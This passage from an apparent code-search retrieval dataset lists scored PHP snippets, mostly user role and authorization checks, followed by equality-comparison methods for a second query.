para saber si un usuario puede tener mas roles\n //Y encima funcionaa. Fuck!! Fuck!! Fuck!!\n //$auth->assign($gestor, 1); // Yeaahhh!!!!!\n }", "title": "" }, { "docid": "e57c5f5a3e50f91b6d4238ad22380173", "score": "0.5127768", "text": "public function authorize()\n {\n if(Auth::user()->userRole->name === 'Super Admin')\n return true;\n else\n return false; \n }", "title": "" }, { "docid": "36195eeaae0c7da1029f35bb18a2b283", "score": "0.51276857", "text": "function isGranted($userID)\n{\n global $InscritsDAO;\n $user = $InscritsDAO->getOne($userID);\n\n if (strpos($_SERVER['REQUEST_URI'], 'admin.php') || strpos($_SERVER['REQUEST_URI'], 'creationcompte.php') || strpos($_SERVER['REQUEST_URI'], 'confirme_delete.php'))\n {\n if (!($user['role'] =='ROLE_ADMINISTRATEUR'))\n {\n header(\"Location: connexion.php\");\n }\n }\n\n if (strpos($_SERVER['REQUEST_URI'], 'homeOrga.php'))\n {\n if (!($user['role'] =='ROLE_ADMINISTRATEUR') && !($user['role']=='ROLE_ORGANISTAEUR'))\n {\n header(\"Location: connexion.php\");\n }\n }\n\n if(strpos($_SERVER['REQUEST_URI'], 'connexion.php'))\n {\n if($user['role']=='ROLE_ADMINISTRATEUR'){\n header('Location: admin.php');\n }elseif($user['role']=='ROLE_ORGANISTAEUR'){\n header('Location: homeOrga.php');\n }\n }}", "title": "" }, { "docid": "ef9b2ce1e4749fa20bf4819f28d9b34e", "score": "0.5122794", "text": "public function getUserRoles();", "title": "" }, { "docid": "e5b400483bac46479dc2cc0c09ec847c", "score": "0.5122064", "text": "public function authorize()\n { \n // Do not allow to edit developer role\n if(!$this->role->editable)\n return false;\n\n return true;\n }", "title": "" }, { "docid": "2abdf1ab8b20dfb2a20d1dbdd97db04f", "score": "0.51188403", "text": "public function iAmLoggedWithRoleUser()\n {\n $this->loginAsUser();\n $this->assertNotNull($this->client);\n }", "title": "" }, { "docid": "8ed6bf07fc2b154b9fa784ffaa8a0baa", "score": "0.51162577", "text": "public function requiresLogin($role);", "title": "" }, { "docid": "7ced2c5eb36eaae24c633eb99f353141", "score": "0.5116104", "text": "public function onSecurityInteractiveLogin(InteractiveLoginEvent $event)\n {\n $user = $this->security->getToken()->getUser();\n \n }", "title": "" }, { "docid": "afcd9b2c694625e36b447a141a91e15a", "score": "0.5112489", "text": "public function getFreeToAccessAction()\n {\n return new Response('Everyone who has logged in can access to this Api');\n }", "title": "" }, { "docid": "87933b0958fa868f6b58c0d0b55b2d1f", "score": "0.5112355", "text": "public function authorize()\n {\n return Auth::user()->admin;\n }", "title": "" }, { "docid": "ae2cd3beacade544ae69883258ddea52", "score": "0.51105404", "text": "public function user_has_access() {\n\t\treturn current_user_can( 'pvm_edit_projects' );\n\t}", "title": "" }, { "docid": "3ed9601aa951363859ca3a64e38b4214", "score": "0.5110392", "text": "public function testSecuredRoleUser()\n {\n $this->logIn('user', 'ROLE_USER');\n $crawler = $this->client->request('GET', '/question/');\n\n // Asserts that /question path exists and don't return an error\n /* \n Ecrire ici le code pour vérifier que, si l'utilisateur est connecté avec le rôle ROLE_USER, \n la requête '/question/new' affiche que l'accès est interdit\n c'est à dire affirmer que le code de statut de la réponse est égale à 403 (Response::HTTP_FORBIDDEN)\n */\n\n $this->assertEquals(403, $this->client->getResponse()->getStatusCode());\n }", "title": "" }, { "docid": "375984dfb29e4340a93e790d8c2e484c", "score": "0.5109826", "text": "protected function otpLoginRoles() {\n\t\treturn [\n\t\t\tRole::USER,\n\t\t];\n\t}", "title": "" }, { "docid": "a3313654dd844236dc4ee81fa1ecaf5b", "score": "0.5109455", "text": "public function roles();", "title": "" }, { "docid": "a3313654dd844236dc4ee81fa1ecaf5b", "score": "0.5109455", "text": "public function roles();", "title": "" }, { "docid": "a3313654dd844236dc4ee81fa1ecaf5b", "score": "0.5109455", "text": "public function roles();", "title": "" }, { "docid": "a3313654dd844236dc4ee81fa1ecaf5b", "score": "0.5109455", "text": "public function roles();", "title": "" }, { "docid": "a3313654dd844236dc4ee81fa1ecaf5b", "score": "0.5109455", "text": "public function roles();", "title": "" }, { "docid": "71fd8074f651c8dc7d1fc8265a860712", "score": "0.5109041", "text": "protected function roles()\n {\n $this->getAcl()->addRole(new Role('anonymous'));\n $this->getAcl()->addRole(new Role('member'), 'anonymous');\n $this->getAcl()->addRole(new Role('moderator'), 'member');\n $this->getAcl()->addRole(new Role('supervisor'), 'moderator');\n $this->getAcl()->addRole(new Role('administrator'), 'supervisor');\n }", "title": "" }, { "docid": "134f63c730bff0dcd3bf1916246c92de", "score": "0.5105478", "text": "public function acl()\n {\n $acl = parent::acl();\n\n // Ensure users always have access to login\n $acl = array_merge_recursive($acl, array(\n 'view' => array('new', 'newAction', 'post', 'postMethod', 'authenticate')\n ));\n\n return $acl;\n }", "title": "" }, { "docid": "425cb5ce03b14f938b6cd63e6ba180f9", "score": "0.5101765", "text": "function acf_current_user_can_admin() { }", "title": "" }, { "docid": "30646873f72b450948622a21d8283d33", "score": "0.5093273", "text": "abstract public function get_role();", "title": "" }, { "docid": "389d185711adca20471037cf0fc0e191", "score": "0.509293", "text": "public function isAuthorized() {\n }", "title": "" }, { "docid": "7dfeeeba87147d2db089b23c1165bad6", "score": "0.50888824", "text": "public function testAccessRouteWhenAuthenticatedWithAdminRole()\n\t{\n\t\t$this->logUtils->login('michel');\n\t\t$this->client->request('GET', \"/tasks\");\n\t\t$this->assertEquals('200', $this->client->getResponse()->getStatusCode());\n\t}", "title": "" }, { "docid": "74858bfb1aa1d4550d2137a1630e7e8e", "score": "0.5086956", "text": "public function adminPanel(){\n if(isset($_SESSION['user'])) {\n if($_SESSION['user']->getRole() == 1){\n $commentsManager = new CommentsManager();\n $usersManager = new UsersManager();\n $listReportedComments = $commentsManager->getReportedComments();\n $listUsers = $usersManager->getUsersList();\n $pagesInfos = $this->getRecipesByPageAdmin();\n\n echo $this->twig->render('admin.twig', [\n 'listReportedComments' => $listReportedComments,\n 'listUsers' => $listUsers,\n 'pagesInfos' => $pagesInfos\n ]);\n } else {\n header('Location: ' . BASEURL);\n exit;\n }\n } else {\n header('Location: ' . BASEURL);\n exit;\n }\n }", "title": "" }, { "docid": "e38d82a00ede862a2ee6a6b6c76ce906", "score": "0.5086597", "text": "public function __construct() {\n\t\tparent::__construct();\n\t\t$this->load( ROLE_GUEST );\n\t}", "title": "" }, { "docid": "8e2ed18a184a0544db9e87dfd832964f", "score": "0.5084562", "text": "public function authorize()\n {\n // si admin\n if( utilisateur::getMyRole(session(\"UserId\")) == \"administrateur\" ){\n return true;\n }else{\n return false;\n }\n }", "title": "" }, { "docid": "a12f734d32b985766d681415b87ec544", "score": "0.50840425", "text": "#[Route(path: '/access-requests/{id}', name: 'employees_accessrequest_management', methods: ['GET'], requirements: ['id' => '\\d+'])]\n #[Template('AppUserdirectoryBundle/AccessRequest/access_request_management.html.twig')]\n public function accessRequestManagementAction( Request $request, $id )\n {\n\n if (false === $this->isGranted($this->roleEditor)) {\n return $this->redirect( $this->generateUrl($this->siteName.\"-nopermission\") );\n }\n\n $em = $this->getDoctrine()->getManager();\n\n //$entity = $em->getRepository(User::class)->find($id);\n //process.py script: replaced namespace by ::class: ['AppUserdirectoryBundle:AccessRequest'] by [AccessRequest::class]\n $accReq = $em->getRepository(AccessRequest::class)->find($id);\n\n if (!$accReq) {\n throw $this->createNotFoundException('Unable to find Access Request entity with ID ' . $id);\n }\n\n //$userSecUtil = $this->container->get('user_security_utility');\n //$accReq = $userSecUtil->getUserAccessRequest($id,$this->siteName);\n\n $entity = $accReq->getUser();\n if( !$entity ) {\n throw new \\Exception( 'User is not found in Access Request with ID' . $id );\n }\n\n ////////////////// lowest roles /////////////////////\n// //if a user does not have any siteroles => pre-populate the Role with a role that has the lowest permissions on this site\n// //user's roles associated with this site\n// $securityUtil = $this->container->get('user_security_utility');\n// $siteRoles = $securityUtil->getUserRolesBySite( $entity, $this->siteName );\n// if( count($siteRoles) == 0 ) {\n// //pre-populate the Role with a role that has the lowest permissions on this site\n// $lowestSiteRoles = $securityUtil->getLowestRolesBySite( $this->siteName );\n// foreach( $lowestSiteRoles as $lowestSiteRole ) {\n// $entity->addRole($lowestSiteRole);\n// }\n// }\n $this->addLowestRolesToUser( $entity, $this->siteName );\n ////////////////// EOF lowest roles /////////////////////\n\n //Roles\n $securityUtil = $this->container->get('user_security_utility');\n $rolesArr = $securityUtil->getSiteRolesKeyValue($this->siteName);\n\n $params = array(\n //'institutions' => $institutions,\n 'sitename' => $this->siteNameStr,\n 'roles' => $rolesArr,\n 'simple-form' => true //show only permittedInstitutionalPHIScope\n );\n $form = $this->createForm(AuthorizitaionUserType::class, $entity, array('form_custom_value'=>$params));\n\n $userViewArr = array(\n 'form' => $form->createView(),\n 'accreq' => $accReq,\n 'entity' => $entity,\n 'sitename' => $this->siteName,\n 'sitenameshowuser' => $this->siteNameShowuser,\n 'sitenamefull'=>$this->siteNameStr,\n 'routename' => $request->get('_route'),\n 'routenameshort' => 'accessrequest_management'\n );\n\n\n return $userViewArr;\n }", "title": "" }, { "docid": "e595b8e1de697253cd650a231b425299", "score": "0.50816685", "text": "abstract public function isLoggedIn();", "title": "" }, { "docid": "3b367c84b55ba1de5ebe0925f0cab4e1", "score": "0.507759", "text": "public function indexAction()\n {\n $loggedIn = false;\n if (Zend_Auth::getInstance()->hasIdentity()) {\n $loggedIn = true;\n }\n $this->view->loggedIn = $loggedIn;\n }", "title": "" }, { "docid": "6d31b654436d74dfef155c72bbe7e81a", "score": "0.5076362", "text": "function getSuperAdminRoleName() {\n return env('SOC_APP_SUPER_ADMIN_ROLE', 'Super Admin');\n}", "title": "" }, { "docid": "e80f59b97342a0dac9c7ff0d7008f82e", "score": "0.5076241", "text": "function ju_backend_user() {return ju_backend_session()->getUser();}", "title": "" }, { "docid": "da8efd4f2e9ee685c999273822e82e25", "score": "0.5071232", "text": "function role_usuario_logueado() {\n\t\tif ($this -> ci -> auth_frr -> is_logged_in()) {\n\t\t\t$user_id = $this -> ci -> auth_frr -> get_user_id();\n\n\t\t\t$role = $this -> ci -> roles_model -> get_role($user_id);\n\n\t\t\treturn $role;\n\t\t}\n\t}", "title": "" }, { "docid": "b3c80e9877cd33095809597f8b4b2326", "score": "0.507099", "text": "public function authorize()\n {\n return \\Auth::user()->isAdmin();\n }", "title": "" }, { "docid": "32b76fe87253cb4835dcfc5497fa5df5", "score": "0.5070475", "text": "public function __construct()\n {\n $this->middleware('role:superadministrator');\n }", "title": "" }, { "docid": "dd62c63792ae1015e67cf86887462656", "score": "0.50680125", "text": "public function loginCheckAction()\n {\n if ($user = $this->checkUser()) {\n return $user;\n } else {\n throw new AccessDeniedException();\n }\n }", "title": "" }, { "docid": "103ff62240edd250801f591f53a17c3e", "score": "0.506608", "text": "public function getUserIdentity()\n {\n // TODO: Implement getUserIdentity() method.\n }", "title": "" }, { "docid": "1674cb5d4a3fafcc7ee3a602bd3c7193", "score": "0.50659", "text": "public function index()\n {\n $this->isLoggedIn();\n }", "title": "" }, { "docid": "1674cb5d4a3fafcc7ee3a602bd3c7193", "score": "0.50659", "text": "public function index()\n {\n $this->isLoggedIn();\n }", "title": "" }, { "docid": "1674cb5d4a3fafcc7ee3a602bd3c7193", "score": "0.50659", "text": "public function index()\n {\n $this->isLoggedIn();\n }", "title": "" }, { "docid": "1674cb5d4a3fafcc7ee3a602bd3c7193", "score": "0.50659", "text": "public function index()\n {\n $this->isLoggedIn();\n }", "title": "" }, { "docid": "f77eeaefe2b0698a4391f22d8da2d487", "score": "0.5065708", "text": "private function isUserAdmin()\n {\n return $this->get('security.context')->isGranted('ROLE_ADMIN');\n }", "title": "" }, { "docid": "5074fa87274c471653f7a1cba628cef3", "score": "0.50652355", "text": "function getUser()\n {\n $user_role=access()->user()->roles->lists('name')->toArray();\n return $user_role[0];\n }", "title": "" }, { "docid": "f67047af10168c954e0461ccee092cd4", "score": "0.5064782", "text": "public static function isAuthorized(){\n //var_dump(self::$userId);\n if (self::get('loggedIn') == true && self::get('role') === 'admin' || self::get('role') === 'owner'){\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "226d2df9fa22a36e90d3d4c677a66b14", "score": "0.50638855", "text": "public function access(){\n $permission = ['admin'];\n $this->session= new Session();\n $user = $this->session->get('user');\n if ( !in_array($user,$permission)){\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "daf554d39bc8d51112a7acde7933386f", "score": "0.50631213", "text": "public function actionIndex() { \n // renders the view file 'protected/views/site/index.php'\n // using the default layout 'protected/views/layouts/main.php'\n $roles = Rights::getAssignedRoles(Yii::app()->user->Id);\n if (count($roles) === 1) { \n $view = $this->getViewForRole(current($roles));\n if ($view !== '') { \n if(current($roles)->name == 'Authenticated'){\n $this->render('index');\n //$this->render($view . '_index');\n }else{\n $this->render($view . '_index');\n }\n } else {\n $this->render('index');\n }\n } else {\n $this->render('index');\n }\n //unset(Yii::app()->session['guest_style']);\n }", "title": "" }, { "docid": "21dccdff0495383f9badb5edf4e7c87e", "score": "0.50623065", "text": "public function authorize()\n {\n return access()->allow('create-role');\n }", "title": "" }, { "docid": "ee7af7835fdae0f354ca4a681cfddbe7", "score": "0.50621146", "text": "public function isAuthorized();", "title": "" }, { "docid": "ee7af7835fdae0f354ca4a681cfddbe7", "score": "0.50621146", "text": "public function isAuthorized();", "title": "" }, { "docid": "0650cb0d46253f906b66066873225a29", "score": "0.5060593", "text": "public function notAuthorizedAction() {\n\n }", "title": "" }, { "docid": "4f75baba1bb00ef0120b1c31bd842a90", "score": "0.5055985", "text": "public function __construct() {\n $this->addRole(new Zend_Acl_Role('guest'));\n \n //Add a role called user, which inherits from guest\n $this->addRole(new Zend_Acl_Role('user'), 'guest');\n\n //Add a role called user, which inherits from guest\n $this->addRole(new Zend_Acl_Role('admin'),'user');\n \n //Add a resource called page\n $this->add(new Zend_Acl_Resource('index'));\n \n //Add a resource called news, which inherits page\n $this->add(new Zend_Acl_Resource('user'));\n $this->add(new Zend_Acl_Resource('admin'));\n $this->add(new Zend_Acl_Resource('error'));\n //Finally, we want to allow guests to view pages\n $this->allow('guest', 'index');\n $this->allow('guest', 'error');\n \n //and users can comment news\n $this->allow('user', 'user');\n $this->allow('admin', 'admin');\n }", "title": "" }, { "docid": "3d608e2b129cf889b9b975923e636a10", "score": "0.50545", "text": "public static function applySecurity()\n {\n /**\n * @var MembershipUser\n */\n $user = self::getUser();\n $allow = self::getPermissionSet()->resolve($user);\n \n if ($allow == Permission::PERMISSION_DENY)\n {\n FormsAuthentication::redirectToLoginPage(HttpContext::getInfo()->getRequestUri());\n }\n }", "title": "" }, { "docid": "d8201278893e605f7b8f45e8c90dad92", "score": "0.50513196", "text": "public function restrict_user()\n\t{\n\n\t\tif(!$this->session->userdata('user_id'))\n\t\t{\n\t\t\t\n\t\t\tredirect(site_url('login'));\n\n\t\t}else{\n\t\t\t\n\t\t\t$userinfo = $this->session->userdata('user_id');\n\t\t\t\n\t\t\t$id = $userinfo['id'];\n\n\t\t\t$user = $userinfo['username'];\n\n\t\t\t$role = $userinfo['role'];\n\n\t\t\t$loggedin = $userinfo['is_logged_in'];\n\n\t\tif(empty($id) || empty($user) || empty($role) || $loggedin==FALSE)\n\t\t{\n\t\t\tredirect(site_url('login'));\n\n\t\t}else{\n\n\t\t\tif($role==1)\n\t\t\t{\n\t\t\t\t$data['sessioninfo'] = $userinfo ;\n\t\t\t\t\n\n\t\t\t}else{\n\t\t\t\tredirect(site_url('employ'));\n}\n}\n}\n\n}", "title": "" }, { "docid": "d674ae34e13ecc6ab0e1ec8075eda168", "score": "0.50482297", "text": "public function testNotAdmin()\n {\n $user = factory('App\\User')->make();\n\n $this->authTests($user, $this->UNAUTHORISED_ACCESS);\n }", "title": "" }, { "docid": "267be08865b1339ae17b3f9b8507dd56", "score": "0.5047793", "text": "function is_user_admin()\n{\n return User::get_current_user() && User::get_current_user()->is_admin;\n}", "title": "" }, { "docid": "ff917387864c0efda158e31af9d6741d", "score": "0.5045847", "text": "public function indexAction()\n {\n $session = $this->getRequest()->getSession();\n if($session->get('userid')){\n return $this->render('AmburgerBundle:Administration:user_profile.html.twig', array('logged_in' => true, 'passwords_empty' => false,'passwords_do_not_match' => false,'password_updated' => false));\n }else{\n return $this->redirect($this->generateUrl('login'));\n }\n }", "title": "" }, { "docid": "a41ddf32ca43f1da10eb6f7c1d9ae67c", "score": "0.5041893", "text": "public function authorize()\n {\n return (Auth::id() &&(Auth::user()->hasRole(['admin','user'])));\n }", "title": "" } ]
26e732b7f6a6c964de26c0d19be49b99
equals($obj1, $obj2) check $obj1 and $obj2 is equals
[ { "docid": "b7a06100d9284593e209bdce152f7bb8", "score": "0.7810032", "text": "public static function equals($obj1, $obj2) {\r\n if (is_a($obj1, 'customer') && is_a($obj2, 'customer')) {\r\n if (trim($obj1->getId()) == trim($obj2->getId()))\r\n return true;\r\n return false;\r\n } \r\n return false;\r\n }", "title": "" } ]
[ { "docid": "1b4c3ecd06abb54e4768e96c1944f035", "score": "0.8168858", "text": "public function Equals($obj);", "title": "" }, { "docid": "1c57c11f7b7c0edc161afbeecda9bf1c", "score": "0.80212694", "text": "public function equals($object);", "title": "" }, { "docid": "1d2776b2e832fecfa1a399477f2826df", "score": "0.76804054", "text": "public static function equals($obj1, $obj2) {\n if (is_a($obj1, 'Product') && is_a($obj2, 'Product')) {\n if (trim($obj1->getProid()) == trim($obj2->getProid())) {return true;}\n return false;\n } \n return false;\n }", "title": "" }, { "docid": "d18f93e576049937b7e216874c15aded", "score": "0.7393073", "text": "public function equals(EskymoObject &$object);", "title": "" }, { "docid": "5b343df9c19ad3a6fc38a42c3fb014e0", "score": "0.7335638", "text": "public function isEqual(ValueObject $object);", "title": "" }, { "docid": "01541b59a0c28ec7b4f4628f8e7488ed", "score": "0.71551096", "text": "public function equals(Object $obj) {\n return $this===$obj;\n }", "title": "" }, { "docid": "826a7a211bc3878eda708c9a21353282", "score": "0.70951843", "text": "public function equals($other)\n\t{\n\n\t}", "title": "" }, { "docid": "523c04e0bee2c1738a3a964c1f92f7e3", "score": "0.70903033", "text": "public function equals(Fynd_Object $obj)\r\n {\r\n return ($obj == $this);\r\n }", "title": "" }, { "docid": "adefe75147ff2fe252a95c1088b0dc00", "score": "0.70852035", "text": "public function eq(self $obj): bool\n {\n return __CLASS__ === get_class($obj) && $this->str === $obj->str;\n }", "title": "" }, { "docid": "1aaeef81e594181f177a18051f4adf1e", "score": "0.703921", "text": "private function __equals($a, $b) {\n return $a == $b;\n }", "title": "" }, { "docid": "d2d2c9707e6fd2d37b612131fbe6c683", "score": "0.7001638", "text": "abstract public function equals($other): bool;", "title": "" }, { "docid": "e9be54d9168fceb42e28ec7a714613d0", "score": "0.6916947", "text": "public function equals(Base $object): bool;", "title": "" }, { "docid": "c3d58bae2b1090f22bb3c8339c9b8211", "score": "0.6850003", "text": "public function equals( ValueObject $other ): bool {\n\t\treturn ( $this->value === $other->value );\n\t}", "title": "" }, { "docid": "cf9db2d75c60f72506239ce023c8a68b", "score": "0.68397653", "text": "public function equals($obj)\n {\n $thisclass = get_class($this);\n if (is_object($obj) && $obj instanceof $thisclass) {\n if ($this === $obj) {\n return true;\n } elseif ($this->getPrimaryKey() === null || $obj->getPrimaryKey() === null) {\n return false;\n } else {\n return ($this->getPrimaryKey() === $obj->getPrimaryKey());\n }\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "a765795bbe0932e8bd8ceb425ea36038", "score": "0.68339854", "text": "public function equals(ValueObject $valueObject): bool;", "title": "" }, { "docid": "78656b5ad4fca3273d12fed89ba0aa9c", "score": "0.6832355", "text": "public function equals($obj)\n {\n $thisclazz = get_class($this);\n if (!is_object($obj) || !($obj instanceof $thisclazz)) {\n return false;\n }\n\n if ($this === $obj) {\n return true;\n }\n\n if (null === $this->getPrimaryKey()\n || null === $obj->getPrimaryKey()) {\n return false;\n }\n\n return $this->getPrimaryKey() === $obj->getPrimaryKey();\n }", "title": "" }, { "docid": "31808280a268114091df3776dfa3f0fe", "score": "0.67916405", "text": "public function Equals($val1, $val2)\n {\n if ($val1 === $val2) return true;\n\n if (is_object($val1) != is_object($val2))\n {\n return false;\n }\n if (!is_object($val1))\n {\n // string ?\n // todo = implement this case ?\n return false;\n }\n\n // Both values are Objects\n if ($val1 == $val2)\n {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "2352bfd5fd5de10f19088290ae77b6c5", "score": "0.6733248", "text": "private function _eq()\r\n {\r\n $this->_compare('===');\r\n }", "title": "" }, { "docid": "861c5d1a0598c35de2c54809571e595a", "score": "0.66952586", "text": "public function equals($obj)\n {\n if ($obj instanceof Point) {\n return ($this->getX() === $obj->getX()) && ($this->getY() === $obj->getY());\n }\n return $this === $obj;\n }", "title": "" }, { "docid": "0c33524538fc3fe85a6317099f08cafb", "score": "0.666306", "text": "public function equals($other) {\r\n\t\tif(!is_object($other) || get_class($this) != get_class($other)) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tif($this->fieldName != $other->getFieldName()) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tif($this->message != $other->getMessage()) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\treturn true;\r\n\t}", "title": "" }, { "docid": "76ef376bd87d85d8f9ea10cf52d375fb", "score": "0.6648521", "text": "public function equals(ValueObject $object)\n {\n return get_class($object) == get_class($object)\n && $this->email == $object->email\n && $this->code == $object->code\n && $this->timestamp->eq($object->timestamp);\n }", "title": "" }, { "docid": "701e909a916d035f6151d3ecd8ecc002", "score": "0.662918", "text": "public function sameValueAs(ValueObject $other): bool;", "title": "" }, { "docid": "84033732755a183fac92ff35363e96d8", "score": "0.6583172", "text": "final public function equals(Objectify $object)\r\n {\r\n $a = $this->keys();\r\n $b = $object->keys();\r\n\r\n return array_diff($a, $b) == array_diff($b, $a);\r\n }", "title": "" }, { "docid": "05652d6d51bae988428718b65edcec6a", "score": "0.65473133", "text": "public function equals($other) \r\n {\r\n return $this->value() == $other;\r\n }", "title": "" }, { "docid": "89c7a58b48d3502f337201591848423c", "score": "0.65375686", "text": "private function equals($value1, $value2)\n {\n return $value1 == $value2;\n }", "title": "" }, { "docid": "405f0335679f97f11a7a05f553ca6657", "score": "0.6514368", "text": "function equals($a, $b) {\n return json_encode($a) === json_encode($b);\n}", "title": "" }, { "docid": "b424568a0174c1b4452c514dab6a6fe7", "score": "0.65076375", "text": "public abstract function equals(Optional $object);", "title": "" }, { "docid": "988dbdd736b1fc3fac62a1360d93ffb4", "score": "0.64692295", "text": "public function equals($other) \r\n {\r\n return $this == $other;\r\n }", "title": "" }, { "docid": "0c9bb875bacb39b3887c33d7be768c5c", "score": "0.6456505", "text": "protected function isEqual($object)\n {\n return\n $this->getType() === $object->getType() &&\n $this->getValue() === $object->getValue() &&\n $this->getLabel() === $object->getLabel();\n\n }", "title": "" }, { "docid": "584b62ef2fc6ec2d9cf6cf603f58e42a", "score": "0.6442019", "text": "public function equals($cmp);", "title": "" }, { "docid": "643c518feb1a8094ab4682aa0183b962", "score": "0.6410188", "text": "public function equals($obj)\n {\n if (!$obj instanceof static) {\n return false;\n }\n\n if ($this === $obj) {\n return true;\n }\n\n if (null === $this->getPrimaryKey() || null === $obj->getPrimaryKey()) {\n return false;\n }\n\n return $this->getPrimaryKey() === $obj->getPrimaryKey();\n }", "title": "" }, { "docid": "643c518feb1a8094ab4682aa0183b962", "score": "0.6410188", "text": "public function equals($obj)\n {\n if (!$obj instanceof static) {\n return false;\n }\n\n if ($this === $obj) {\n return true;\n }\n\n if (null === $this->getPrimaryKey() || null === $obj->getPrimaryKey()) {\n return false;\n }\n\n return $this->getPrimaryKey() === $obj->getPrimaryKey();\n }", "title": "" }, { "docid": "643c518feb1a8094ab4682aa0183b962", "score": "0.6410188", "text": "public function equals($obj)\n {\n if (!$obj instanceof static) {\n return false;\n }\n\n if ($this === $obj) {\n return true;\n }\n\n if (null === $this->getPrimaryKey() || null === $obj->getPrimaryKey()) {\n return false;\n }\n\n return $this->getPrimaryKey() === $obj->getPrimaryKey();\n }", "title": "" }, { "docid": "643c518feb1a8094ab4682aa0183b962", "score": "0.6410188", "text": "public function equals($obj)\n {\n if (!$obj instanceof static) {\n return false;\n }\n\n if ($this === $obj) {\n return true;\n }\n\n if (null === $this->getPrimaryKey() || null === $obj->getPrimaryKey()) {\n return false;\n }\n\n return $this->getPrimaryKey() === $obj->getPrimaryKey();\n }", "title": "" }, { "docid": "643c518feb1a8094ab4682aa0183b962", "score": "0.6410188", "text": "public function equals($obj)\n {\n if (!$obj instanceof static) {\n return false;\n }\n\n if ($this === $obj) {\n return true;\n }\n\n if (null === $this->getPrimaryKey() || null === $obj->getPrimaryKey()) {\n return false;\n }\n\n return $this->getPrimaryKey() === $obj->getPrimaryKey();\n }", "title": "" }, { "docid": "643c518feb1a8094ab4682aa0183b962", "score": "0.6410188", "text": "public function equals($obj)\n {\n if (!$obj instanceof static) {\n return false;\n }\n\n if ($this === $obj) {\n return true;\n }\n\n if (null === $this->getPrimaryKey() || null === $obj->getPrimaryKey()) {\n return false;\n }\n\n return $this->getPrimaryKey() === $obj->getPrimaryKey();\n }", "title": "" }, { "docid": "643c518feb1a8094ab4682aa0183b962", "score": "0.6410188", "text": "public function equals($obj)\n {\n if (!$obj instanceof static) {\n return false;\n }\n\n if ($this === $obj) {\n return true;\n }\n\n if (null === $this->getPrimaryKey() || null === $obj->getPrimaryKey()) {\n return false;\n }\n\n return $this->getPrimaryKey() === $obj->getPrimaryKey();\n }", "title": "" }, { "docid": "643c518feb1a8094ab4682aa0183b962", "score": "0.6410188", "text": "public function equals($obj)\n {\n if (!$obj instanceof static) {\n return false;\n }\n\n if ($this === $obj) {\n return true;\n }\n\n if (null === $this->getPrimaryKey() || null === $obj->getPrimaryKey()) {\n return false;\n }\n\n return $this->getPrimaryKey() === $obj->getPrimaryKey();\n }", "title": "" }, { "docid": "643c518feb1a8094ab4682aa0183b962", "score": "0.6410188", "text": "public function equals($obj)\n {\n if (!$obj instanceof static) {\n return false;\n }\n\n if ($this === $obj) {\n return true;\n }\n\n if (null === $this->getPrimaryKey() || null === $obj->getPrimaryKey()) {\n return false;\n }\n\n return $this->getPrimaryKey() === $obj->getPrimaryKey();\n }", "title": "" }, { "docid": "7a5fc3dd77d8cdf3e3438ca43cf4ee0d", "score": "0.6393261", "text": "public function isEqual( Object $object ) {\n\t\t\tif( get_class( $this ) !== get_class( $object ) ) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\treturn ( $this->hash() === $object->hash() );\n\t\t}", "title": "" }, { "docid": "9e46bb7aac9e134c1b0cd2be51bc68c4", "score": "0.636547", "text": "public function equals(Equatable $another): bool;", "title": "" }, { "docid": "e598ab8e73a26914e63a811b0e1d9a7b", "score": "0.6333554", "text": "public function equals($obj) {\n return $obj !== null\n && get_class($obj) === 'Mobi_Mtld_DA_PropertyName'\n && $this->dataTypeId === $obj->getDataTypeId()\n && $this->name === $obj->getName();\n }", "title": "" }, { "docid": "f69955e39d349b45464aeb7cf16497d7", "score": "0.629794", "text": "public function equals($obj)\n {\n if ($obj instanceof Rectangle) {\n return (\n ($this->x === $obj->x) &&\n ($this->y === $obj->y) &&\n ($this->width === $obj->width) &&\n ($this->height === $obj->height)\n );\n }\n return parent::equals($obj);\n }", "title": "" }, { "docid": "a85ca7853c2a23f60d3de2e5382bf36e", "score": "0.628775", "text": "function isSame($value1, $value2){\n if ($value1 == $value2) {\n return true;\n }\n}", "title": "" }, { "docid": "cade0ce6a9f8237daa5ba7ef6fcdf373", "score": "0.6284369", "text": "public function equals(Object $obj = null)\n {\n /* @var $other Parameter */\n if ($obj != null && $obj instanceof Parameter) {\n $other = $obj;\n return ($other->executable->equals($this->executable)) && $other->index == $this->index;\n }\n return false;\n }", "title": "" }, { "docid": "61f5871029414fec12825a08683fcdba", "score": "0.62644565", "text": "public function equals(ValueObjectInterface $valueObject): bool;", "title": "" }, { "docid": "247ff8f0017691221339dc025859f891", "score": "0.62003326", "text": "public function isSame(ValueObject $object): bool\n {\n return $this->street === $object->getStreet()\n && $this->houseNumber === $object->getHouseNumber()\n && $this->city === $object->getCity()\n && $this->zip === $object->getZip()\n && $this->region === $object->getRegion()\n && $this->country === $object->getCountry();\n }", "title": "" }, { "docid": "4ee1bb2935ba2af42578fefffa1251b4", "score": "0.61247176", "text": "public function isEqualTo(ValueObject $object)\n {\n if (get_class($object) != get_class($this)) {\n return false;\n }\n foreach (get_object_vars($object) as $key => $value) {\n if ($value instanceof ValueObject) {\n if (!$value->isEqualTo($this->$key)) {\n return false;\n }\n } elseif ($value != $this->$key) {\n return false;\n }\n }\n\n return true;\n }", "title": "" }, { "docid": "cd33b7393245fc7dba4b9d727d593691", "score": "0.6115506", "text": "public function equals($other) {\n\t\treturn $this->compareTo($other) === 0;\n\t}", "title": "" }, { "docid": "2cd2f8f015e2f9b6941073b8b0b39642", "score": "0.6078186", "text": "public function equals($obj)\n {\n if (!($obj instanceof Uuid)) {\n return false;\n }\n\n return ($this->getMostSignificantBits() == $obj->getMostSignificantBits()\n && $this->getLeastSignificantBits() == $obj->getLeastSignificantBits());\n }", "title": "" }, { "docid": "884a349f3d7f6395c7a5b1cf83d70d66", "score": "0.6072277", "text": "public static function isEqual($value1, $value2)\n {\n return $value1 === $value2;\n }", "title": "" }, { "docid": "2571d706fef24ea34eb94f0df02644ee", "score": "0.606515", "text": "function equals($value): bool;", "title": "" }, { "docid": "8fb5e58917e6a14c40c06ffca30e2db9", "score": "0.6044197", "text": "public function equals($object)\n {\n $object = self::decode($object);\n return $object->intValue() == $this->getInternalValue();\n }", "title": "" }, { "docid": 